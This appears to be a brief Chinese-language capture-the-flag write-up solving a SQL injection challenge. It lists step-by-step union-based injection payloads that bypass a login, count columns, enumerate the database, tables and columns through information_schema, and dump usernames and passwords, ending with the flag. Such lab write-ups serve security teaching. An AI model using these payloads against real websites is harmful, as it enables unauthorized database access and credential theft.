目录
步骤
一个一个测试一下最经典的sql注入
1
1'
1' or '1' = '1#
1' or 1=1#
- 用上面的进行测试
测试出来正确的用户名为
1' or 1=1#
试一下是否是MD5加密
先用 order by 来看看它有多少列
经过二分法测试有3列
1’ order by 3'(正常回显)
查看回显位是哪些
-1' union select 1,2,3#
查看库名
-1' union select 1,database(),3#
查看表名
1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
可以看到有geekuser,l0ve1ysq1两个表
查看列名
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'#
或者
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#
查看另一张表,有相同的结果
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
查看id,username,password的内容
1' union select 1,2,group_concat(id,username,password) from geekuser#
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
得到了sql注入flag
flag{cfcd2308-7719-41af-b2d6-7e8607ae8811}